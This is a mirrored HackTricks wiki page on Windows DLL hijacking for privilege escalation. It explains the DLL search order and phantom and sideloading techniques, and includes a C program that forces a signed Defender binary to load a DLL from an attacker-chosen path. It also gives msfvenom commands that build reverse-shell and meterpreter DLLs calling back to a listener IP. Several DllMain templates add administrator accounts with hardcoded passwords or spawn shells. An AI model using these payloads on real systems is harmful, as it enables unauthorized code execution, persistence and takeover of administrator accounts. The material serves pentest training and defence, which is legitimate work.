mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
379 lines
20 KiB
Markdown
379 lines
20 KiB
Markdown
# Dll Hijacking
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
|
||
## Basic Information
|
||
|
||
DLL Hijacking involves manipulating a trusted application into loading a malicious DLL. This term encompasses several tactics like **DLL Spoofing, Injection, and Side-Loading**. It's mainly utilized for code execution, achieving persistence, and, less commonly, privilege escalation. Despite the focus on escalation here, the method of hijacking remains consistent across objectives.
|
||
|
||
### Common Techniques
|
||
|
||
Several methods are employed for DLL hijacking, each with its effectiveness depending on the application's DLL loading strategy:
|
||
|
||
1. **DLL Replacement**: Swapping a genuine DLL with a malicious one, optionally using DLL Proxying to preserve the original DLL's functionality.
|
||
2. **DLL Search Order Hijacking**: Placing the malicious DLL in a search path ahead of the legitimate one, exploiting the application's search pattern.
|
||
3. **Phantom DLL Hijacking**: Creating a malicious DLL for an application to load, thinking it's a non-existent required DLL.
|
||
4. **DLL Redirection**: Modifying search parameters like `%PATH%` or `.exe.manifest` / `.exe.local` files to direct the application to the malicious DLL.
|
||
5. **WinSxS DLL Replacement**: Substituting the legitimate DLL with a malicious counterpart in the WinSxS directory, a method often associated with DLL side-loading.
|
||
6. **Relative Path DLL Hijacking**: Placing the malicious DLL in a user-controlled directory with the copied application, resembling Binary Proxy Execution techniques.
|
||
|
||
## Finding missing Dlls
|
||
|
||
The most common way to find missing Dlls inside a system is running [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) from sysinternals, **setting** the **following 2 filters**:
|
||
|
||
.png>)
|
||
|
||
.png>)
|
||
|
||
and just show the **File System Activity**:
|
||
|
||
.png>)
|
||
|
||
If you are looking for **missing dlls in general** you **leave** this running for some **seconds**.\
|
||
If you are looking for a **missing dll inside an specific executable** you should set **another filter like "Process Name" "contains" "\<exec name>", execute it, and stop capturing events**.
|
||
|
||
## Exploiting Missing Dlls
|
||
|
||
In order to escalate privileges, the best chance we have is to be able to **write a dll that a privilege process will try to load** in some of **place where it is going to be searched**. Therefore, we will be able to **write** a dll in a **folder** where the **dll is searched before** the folder where the **original dll** is (weird case), or we will be able to **write on some folder where the dll is going to be searched** and the original **dll doesn't exist** on any folder.
|
||
|
||
### Dll Search Order
|
||
|
||
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
|
||
|
||
**Windows applications** look for DLLs by following a set of **pre-defined search paths**, adhering to a particular sequence. The issue of DLL hijacking arises when a harmful DLL is strategically placed in one of these directories, ensuring it gets loaded before the authentic DLL. A solution to prevent this is to ensure the application uses absolute paths when referring to the DLLs it requires.
|
||
|
||
You can see the **DLL search order on 32-bit** systems below:
|
||
|
||
1. The directory from which the application loaded.
|
||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||
1. (_C:\Windows_)
|
||
5. The current directory.
|
||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||
|
||
That is the **default** search order with **SafeDllSearchMode** enabled. When it's disabled the current directory escalates to second place. To disable this feature, create the **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry value and set it to 0 (default is enabled).
|
||
|
||
If [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) function is called with **LOAD_WITH_ALTERED_SEARCH_PATH** the search begins in the directory of the executable module that **LoadLibraryEx** is loading.
|
||
|
||
Finally, note that **a dll could be loaded indicating the absolute path instead just the name**. In that case that dll is **only going to be searched in that path** (if the dll has any dependencies, they are going to be searched as just loaded by name).
|
||
|
||
There are other ways to alter the ways to alter the search order but I'm not going to explain them here.
|
||
|
||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||
|
||
An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdll’s native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory.
|
||
|
||
Key idea
|
||
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
|
||
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
|
||
|
||
Notes/limitations
|
||
- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
|
||
- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||
- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
|
||
|
||
Minimal C example (ntdll, wide strings, simplified error handling):
|
||
|
||
```c
|
||
#include <windows.h>
|
||
#include <winternl.h>
|
||
#pragma comment(lib, "ntdll.lib")
|
||
|
||
// Prototype (not in winternl.h in older SDKs)
|
||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||
PUNICODE_STRING ImagePathName,
|
||
PUNICODE_STRING DllPath,
|
||
PUNICODE_STRING CurrentDirectory,
|
||
PUNICODE_STRING CommandLine,
|
||
PVOID Environment,
|
||
PUNICODE_STRING WindowTitle,
|
||
PUNICODE_STRING DesktopInfo,
|
||
PUNICODE_STRING ShellInfo,
|
||
PUNICODE_STRING RuntimeData,
|
||
ULONG Flags
|
||
);
|
||
|
||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||
PUNICODE_STRING NtImagePathName,
|
||
ULONG Attributes,
|
||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||
HANDLE ParentProcess,
|
||
BOOLEAN InheritHandles,
|
||
HANDLE DebugPort,
|
||
HANDLE ExceptionPort,
|
||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||
);
|
||
|
||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||
}
|
||
|
||
int wmain(void) {
|
||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||
|
||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||
wchar_t dllDir[MAX_PATH];
|
||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||
|
||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||
RtlInitUnicodeString(&uImage, image);
|
||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||
|
||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||
|
||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||
NULL, NULL, NULL, NULL, NULL, 0);
|
||
if (st < 0) return 1;
|
||
|
||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||
if (st < 0) return 1;
|
||
|
||
// Resume main thread etc. if created suspended (not shown here)
|
||
return 0;
|
||
}
|
||
```
|
||
|
||
Operational usage example
|
||
- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
|
||
- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
|
||
|
||
This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory.
|
||
|
||
|
||
#### Exceptions on dll search order from Windows docs
|
||
|
||
Certain exceptions to the standard DLL search order are noted in Windows documentation:
|
||
|
||
- When a **DLL that shares its name with one already loaded in memory** is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. **In this scenario, the system does not conduct a search for the DLL**.
|
||
- In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. The registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** holds a list of these known DLLs.
|
||
- Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path.
|
||
|
||
### Escalating Privileges
|
||
|
||
**Requirements**:
|
||
|
||
- Identify a process that operates or will operate under **different privileges** (horizontal or lateral movement), which is **lacking a DLL**.
|
||
- Ensure **write access** is available for any **directory** in which the **DLL** will be **searched for**. This location might be the directory of the executable or a directory within the system path.
|
||
|
||
Yeah, the requisites are complicated to find as **by default it's kind of weird to find a privileged executable missing a dll** and it's even **more weird to have write permissions on a system path folder** (you can't by default). But, in misconfigured environments this is possible.\
|
||
In the case you are lucky and you find yourself meeting the requirements, you could check the [UACME](https://github.com/hfiref0x/UACME) project. Even if the **main goal of the project is bypass UAC**, you may find there a **PoC** of a Dll hijaking for the Windows version that you can use (probably just changing the path of the folder where you have write permissions).
|
||
|
||
Note that you can **check your permissions in a folder** doing:
|
||
|
||
```bash
|
||
accesschk.exe -dqv "C:\Python27"
|
||
icacls "C:\Python27"
|
||
```
|
||
|
||
And **check permissions of all folders inside PATH**:
|
||
|
||
```bash
|
||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||
```
|
||
|
||
You can also check the imports of an executable and the exports of a dll with:
|
||
|
||
```c
|
||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||
dumpbin /export /path/file.dll
|
||
```
|
||
|
||
For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check:
|
||
|
||
|
||
{{#ref}}
|
||
writable-sys-path-+dll-hijacking-privesc.md
|
||
{{#endref}}
|
||
|
||
### Automated tools
|
||
|
||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)will check if you have write permissions on any folder inside system PATH.\
|
||
Other interesting automated tools to discover this vulnerability are **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ and _Write-HijackDll._
|
||
|
||
### Example
|
||
|
||
In case you find an exploitable scenario one of the most important things to successfully exploit it would be to **create a dll that exports at least all the functions the executable will import from it**. Anyway, note that Dll Hijacking comes handy in order to [escalate from Medium Integrity level to High **(bypassing UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) or from[ **High Integrity to SYSTEM**](../index.html#from-high-integrity-to-system)**.** You can find an example of **how to create a valid dll** inside this dll hijacking study focused on dll hijacking for execution: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||
Moreover, in the **next sectio**n you can find some **basic dll codes** that might be useful as **templates** or to create a **dll with non required functions exported**.
|
||
|
||
## **Creating and compiling Dlls**
|
||
|
||
### **Dll Proxifying**
|
||
|
||
Basically a **Dll proxy** is a Dll capable of **execute your malicious code when loaded** but also to **expose** and **work** as **exected** by **relaying all the calls to the real library**.
|
||
|
||
With the tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) or [**Spartacus**](https://github.com/Accenture/Spartacus) you can actually **indicate an executable and select the library** you want to proxify and **generate a proxified dll** or **indicate the Dll** and **generate a proxified dll**.
|
||
|
||
### **Meterpreter**
|
||
|
||
**Get rev shell (x64):**
|
||
|
||
```bash
|
||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||
```
|
||
|
||
**Get a meterpreter (x86):**
|
||
|
||
```bash
|
||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||
```
|
||
|
||
**Create a user (x86 I didn't see a x64 version):**
|
||
|
||
```
|
||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||
```
|
||
|
||
### Your own
|
||
|
||
Note that in several cases the Dll that you compile must **export several functions** that are going to be loaded by the victim process, if these functions doesn't exist the **binary won't be able to load** them and the **exploit will fail**.
|
||
|
||
```c
|
||
// Tested in Win10
|
||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||
#include <windows.h>
|
||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||
switch(dwReason){
|
||
case DLL_PROCESS_ATTACH:
|
||
system("whoami > C:\\users\\username\\whoami.txt");
|
||
WinExec("calc.exe", 0); //This doesn't accept redirections like system
|
||
break;
|
||
case DLL_PROCESS_DETACH:
|
||
break;
|
||
case DLL_THREAD_ATTACH:
|
||
break;
|
||
case DLL_THREAD_DETACH:
|
||
break;
|
||
}
|
||
return TRUE;
|
||
}
|
||
```
|
||
|
||
```c
|
||
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||
|
||
#include <windows.h>
|
||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||
if (dwReason == DLL_PROCESS_ATTACH){
|
||
system("cmd.exe /k net localgroup administrators user /add");
|
||
ExitProcess(0);
|
||
}
|
||
return TRUE;
|
||
}
|
||
```
|
||
|
||
```c
|
||
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
|
||
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
|
||
|
||
#include <windows.h>
|
||
|
||
int owned()
|
||
{
|
||
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
|
||
exit(0);
|
||
return 0;
|
||
}
|
||
|
||
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
||
{
|
||
owned();
|
||
return 0;
|
||
}
|
||
```
|
||
|
||
```c
|
||
//Another possible DLL
|
||
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
|
||
|
||
#include<windows.h>
|
||
#include<stdlib.h>
|
||
#include<stdio.h>
|
||
|
||
void Entry (){ //Default function that is executed when the DLL is loaded
|
||
system("cmd");
|
||
}
|
||
|
||
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||
switch (ul_reason_for_call){
|
||
case DLL_PROCESS_ATTACH:
|
||
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
|
||
break;
|
||
case DLL_THREAD_ATTACH:
|
||
case DLL_THREAD_DETACH:
|
||
case DLL_PROCESS_DEATCH:
|
||
break;
|
||
}
|
||
return TRUE;
|
||
}
|
||
```
|
||
|
||
## Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
|
||
|
||
This case demonstrates **Phantom DLL Hijacking** in Lenovo's TrackPoint Quick Menu (`TPQMAssistant.exe`), tracked as **CVE-2025-1729**.
|
||
|
||
### Vulnerability Details
|
||
|
||
- **Component**: `TPQMAssistant.exe` located at `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||
- **Scheduled Task**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` runs daily at 9:30 AM under the context of the logged-on user.
|
||
- **Directory Permissions**: Writable by `CREATOR OWNER`, allowing local users to drop arbitrary files.
|
||
- **DLL Search Behavior**: Attempts to load `hostfxr.dll` from its working directory first and logs "NAME NOT FOUND" if missing, indicating local directory search precedence.
|
||
|
||
### Exploit Implementation
|
||
|
||
An attacker can place a malicious `hostfxr.dll` stub in the same directory, exploiting the missing DLL to achieve code execution under the user's context:
|
||
|
||
```c
|
||
#include <windows.h>
|
||
|
||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
|
||
if (fdwReason == DLL_PROCESS_ATTACH) {
|
||
// Payload: display a message box (proof-of-concept)
|
||
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
|
||
}
|
||
return TRUE;
|
||
}
|
||
```
|
||
|
||
### Attack Flow
|
||
|
||
1. As a standard user, drop `hostfxr.dll` into `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||
2. Wait for the scheduled task to run at 9:30 AM under the current user's context.
|
||
3. If an administrator is logged in when the task executes, the malicious DLL runs in the administrator's session at medium integrity.
|
||
4. Chain standard UAC bypass techniques to elevate from medium integrity to SYSTEM privileges.
|
||
|
||
### Mitigation
|
||
|
||
Lenovo released UWP version **1.12.54.0** via the Microsoft Store, which installs TPQMAssistant under `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, removes the vulnerable scheduled task, and uninstalls the legacy Win32 components.
|
||
|
||
## References
|
||
|
||
- [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
|
||
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
|
||
|
||
|
||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||
|
||
|
||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
|